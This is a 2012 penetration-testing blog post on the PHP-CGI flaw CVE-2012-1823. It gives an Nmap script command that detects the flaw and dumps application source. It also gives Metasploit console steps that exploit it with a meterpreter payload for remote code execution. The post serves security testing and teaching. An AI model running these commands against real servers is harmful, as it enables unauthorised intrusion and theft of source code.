Detecting and exploiting vulnerable PHP-CGI applications

Detecting and exploiting vulnerable PHP-CGI applications

Posted on May 27, 2012 by Paulino Calderon

A critical vulnerability affecting PHP applications which use the CGI interprerter was published at the beginning of this month (http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/). This vulnerability leaks the source code of the application and allows remote code execution.

Detection

To detect vulnerable applications during a pentest, we can use the NSE script “http-cve2012-1823”:
$nmap -p80 --script http-cve2012-1823 target

When Nmap finds a vulnerable application, it will return something similar to this:

To get the source code of another application you can use the “uri” parameter:
$nmap -p80 --script http-cve2012-1823 --script-args uri=/login.php IP

Here you can watch a video demonstrating the process detection of vulnerable PHP-CGI applications.

This script was sent to Nmap's official repository with revision ID “28545” and should be available soon. In the meantime you can download it at:
http://seclists.org/nmap-dev/2012/q2/att-239/http-vuln-cve2012-1823.nse

Exploitation

The Metasploit project has contributed a module to help exploit this vulnerability. In order to do so:

> use exploit/multi/http/php_cgi_arg_injection
> set rhost IP
> set PAYLOAD php/meterpreter/bind_tcp
> exploit

If it is exploitable, meterpreter will kindly open a session:

Here you can watch a video demonstrating the process exploitation of vulnerable PHP-CGI applications using MSF.

References

Nmap
Metasploit
http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

Latest Blog Entries

Downloading an Application's Entire Source Code Through an Exposed GIT Directory
Website administrators sometimes inadvertently leave an exposed .git directory, from which it is possible to download the entire source code of the web application using just wget and a common server misconfiguration.

credmap: The Credential Mapper
An overview of credmap, an open source penetration testing tool that automates the process of testing for credential reuse. It does so by testing supplied user credentials on known websites and verifies if the password has been reused on any of these.

New publication: Mastering the Nmap Scripting Engine
We invite you to learn more about the latest publication from our team, "Mastering the Nmap Scripting Engine".

Latest News

Blackhat EU 2015
Websec participated with two tools at the Blackhat, EU Arsenal held in Amsterdam, NL from the 10-13 of November, 2015. During this event, we introduced our brand new tool "credmap: The Credential Mapper" and also presented an amped-up version of Panoptic.

BSides Vancouver 2015
Websec is proud to announce that we will be attending the 3rd annual edition of BSides Vancouver, a local non-profit information security conference held in the heart of Vancouver, BC on March 16 and 17.